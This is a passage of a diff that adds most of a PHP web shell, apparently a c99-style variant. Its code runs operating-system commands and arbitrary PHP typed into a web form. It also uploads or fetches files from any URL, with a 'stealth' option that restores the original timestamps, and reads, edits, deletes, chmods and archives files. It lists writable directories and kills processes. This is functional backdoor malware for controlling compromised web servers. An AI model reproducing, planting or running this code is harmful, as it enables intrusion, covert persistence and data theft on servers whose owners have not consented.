file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression". + " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only". + " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive". + " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>". + "</table>"; + if ($x == "ls") { + $dspact = $x; + echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>". + "<hr size=\"1\" noshade>"; + } +} +if ($x == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } +} +} +if ($x == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>"; + } + else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; } + } + elseif (!empty($uploadurl)) { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) { + if ($i > 0) {$b = "_".$i;} + $destin = "upload".$b; + $i++; + } + } + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";} + else { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!";} + else { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + $uploadmess .= "File saved from ".$uploadurl." !"; + } + } + } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "<b>".$uploadmess."</b>"; + $x = "ls"; + } + else { + echo "<table><tr><td colspan=2 class=barheader>". + "[ File Upload ]</td>". + "<td colspan=2>".$uploadmess."</td></tr>". + "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>". + "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>". + "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>". + "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>". + "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>". + "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Upload\">". + "</form></td></tr></table>"; + } +} +if ($x == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $x = "ls"; +} +if (!$usefsbuff) { + if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";} +} +else { + if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; } + elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";} + elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + ca_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $x = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + ca_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $x = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + ca_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $x = "ls"; + } +} +if ($x == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "<div class=barheader>[ Result of Command Execution ]</div>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10; } + if ($msie) { $cols = 113; } + else { $cols = 117;} + echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else { + echo "<b>Command Execution</b>"; + if (empty($cmd_txt)) {$cmd_txt = TRUE;} + } +} +if ($x == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";} + else { + $objects = array(); + $vd = "f"; + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Date Modified</b>"; + if (!$win) {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + else { + $type = "DIR"; + $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<div class=barheader>[ "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Files/Folders (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " ]</div>\n"; + echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">". + "<table class=explorer>"; + foreach($table as $row) { + echo "<tr>"; + foreach($row as $v) {echo "<td>".$v."</td>";} + echo "</tr>\r\n"; + } + echo "</table>". + "<script>". + "function ls_setcheckboxall(status) {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }". + "}". + "function ls_reverse_all() {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }". + "}". + "</script>". + "<div align=\"right\">". + "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">". + "<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=x><option value=\"".$x."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>"; + echo "</form>"; + } +} +if ($x == "tools") +{ + +} +if ($x == "phpfsys") { + echo "<div align=left>"; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; } + } + elseif ($fsfunc=="read") { + $hasil = @file_get_contents($arg1); + echo "<b>Filename:</b> $arg1<br>"; + echo "<textarea cols=150 rows=20>"; + echo $hasil; + echo "</textarea>\n"; + } + elseif ($fsfunc=="write") { + if(@file_put_contents($d.$arg1,$arg2)) { + echo "<b>Saved!</b> ".$d.$arg1; + } + else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; } + fclose($r); + } + else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); } + else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);} + } + else { echo "Couldn't create current dir:<b> $thedir</b>"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = @dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>"; + echo "<pre>"; + recurse_dir($arg1,$arg2); + echo "</pre>"; + $total = $dir_count - 1; + echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2"; + } + else { + if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "<b>Result of $fsfunc $arg1:</b><br>"; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "<pre>"; + foreach ($hasil as $v) { echo $v."\n"; } + echo "</pre>"; + } + } + else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; } + } + } + echo "</div>\n"; +} +if ($x == "processes") { + echo "<div class=barheader>[ Processes ]</div>"; + if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = myshellexec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; + } + else { + $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; + } + $ret = htmlspecialchars($ret); + if (!$win) { + if ($pid) { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else { + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; } + else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) { + if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<table class=explorer>"; + foreach($tab as $i=>$k) { + echo "<tr>"; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) {$v = view_size($v);} + echo "<td>".$v."</td>"; + } + echo "</tr>"; + } + echo "</table>"; + } +} +if ($x == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else { + if ($eval_txt) { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=x value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($x == "f") { + echo "<div align=left>"; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img 